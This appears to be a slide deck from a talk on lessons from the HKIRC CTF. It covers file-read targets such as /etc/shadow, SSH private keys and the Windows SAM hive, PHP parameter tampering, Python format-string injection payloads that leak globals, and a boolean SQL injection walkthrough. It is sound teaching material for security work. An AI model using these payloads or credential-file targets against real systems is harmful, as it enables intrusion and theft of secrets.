From Input to Injection

Practical Lessons from HKIRC CTF

@TrebledJ   •   2024 Aug. 14

1 — Interesting Techniques

2 – Boolean SQLi: PoC to Flag in 5 Minutes

1.1 — Arbitrary File Reads with /proc/**

Where do we usually look when we have an arbitrary file read? (On Linux)

• /etc/passwd, /etc/shadow - users, hashes
• /home/<user>/.ssh/authorized_keys - SSH public keys, algos
• /home/<user>/.ssh/id_* - SSH private keys
• /proc/<pid>/cmdline - commands!!! + file structure!!!
• /proc/<pid>/environ - env when process started
• /proc/<pid>/cwd - cwd when process started

What about Windows?

Files:

C:\inetpub\web.config
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\Users\<username>\ntuser.dat    # registry hive

# PowerShell
Get-WmiObject -Class Win32_Process | Select-Object CommandLine

# cmd.exe
wmic process get CommandLine

1.2 — PHP Parameter Tampering

login.php (simplified):

$username = $_GET['username']
$password = $_GET['password']
$userinfo = ... // (optional) user controllered input

$userinfo["id"] = ...
$userinfo["username"] = $username;
$userinfo["password"] = $password;
$_SESSION["userinfo"] = $userinfo;

Normal usage:

POST /login.php HTTP/1.1
...

username=darklab&password=123456

$userinfo

• Originally array(), but can tamper to be string.
• This means ["..."] becomes [0].

Data Type Tampering:

POST /login.php HTTP/1.1
...

username=darklab&password=123456&userinfo=abc

$userinfo = "abc"
$userinfo["id"] = "123" // $userinfo[0] = '1'
$userinfo["username"] = "admin" // $userinfo[0] = 'a'
$userinfo["password"] = "password" // $userinfo[0] = 'p'

$_SESSION["userinfo"] = $userinfo;

CVEs?

Couldn't find.

POST /login.php HTTP/1.1
...

user=joe&password=123456

=> $_POST = array( [user]="joe", [password]="123456" )

POST /search.php HTTP/1.1
...

user[$ne]=joe&password=123456

=> $_POST = array( [username]=array([$ne]="joe"), [password]="123456" )

1.3 — Python Format String Injection

DEMO \o/

Ultra Simplified Example:

PASSWORD = 'password_5910f7f523cd780c67'

class Car:
    def __init__(self, make, year, color):
        self.make, self.year, self.color = make, year, color
    
    def __str__(self):
        return f'Car(make={self.make},year={self.year},color={self.color})'

print(input('Input: ').format(Car('Toyota', 2020, 'Blue')))
# {0.__init__.__globals__[PASSWORD]}

• Info disclosure!
• () - function call doesn't work. No RCE :(

No problem!

{user.__init__.__globals__[__loader__] \
 .__init__.__globals__[sys].modules[HealthyBMI.settings] \
 .__dict__[FLAG]} 

# user_controlled_string.format(user=request.user)

1. Get loader (importer).
2. Get module.
3. Get global symbol.

Real Problems, Real Vulns

Various Python format-string CVEs:

• CVE-2014-6262 - rrdtool (bandwidth/temp/CPU load collector) → RCE, DoS

• CVE-2022-27177 - ConsoleMe (AWS IAM permissions and credential management) → Info Disc, RCE(?)
• CVE-2023-41050 - RestrictedPython (Python jail)

  • Frappe Framework server script → jail escape → Info Disc, RCE(?)

    {g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back \
     .f_back.f_back.f_back.f_back.f_back.f_back.f_back \
     .f_globals[frappe].local.conf}
    

1 — Interesting Techniques

2 — Boolean SQLi: PoC to Flag in 5 Minutes

My Secret Sauce — bsqli.py

• Used in OSCP + Multiple Engagements
• Employs similar tricks used by SQLmap, but urges the user to take more control
• Prettier interface (IMHO): CLI, multiprocessing
• https://github.com/TrebledJ/bsqli.py

Demo Walkthrough

\o/ DEMO \o/

Basic PoC

PoC with Script: Get DB Version

Get Table Names (starting with f)

Get DB Name

Get Columns. (SELECT * won't work bc subqueries expect one column.)

Now that we know the db, table, and column, we can select-from it.

GG!

Why go deeper?

• Explore Attack Chain - discover creds, users, PII, etc.
• Client may not understand risk from "version poc".
  • "Ok. So we're using MySQL 8.33. Big deal." - Oblivious Person
• Understand their systems design.
  • Multiple apps using the same DB is a risk.
  • UAT and prod using the same DB is a risk.

Resources

Techniques

• Linux File System - /proc
• PHP Parameter Tampering and Request Injection
• HackTricks – Python Read Gadgets • Python Format String
• Python Format String Syntax

bsqli.py

• bsqli.py Script
• Blog Post on SQL + Automation Tricks and Tips

Slides are available at: https://trebledj.me/slides/

Hope you enjoyed!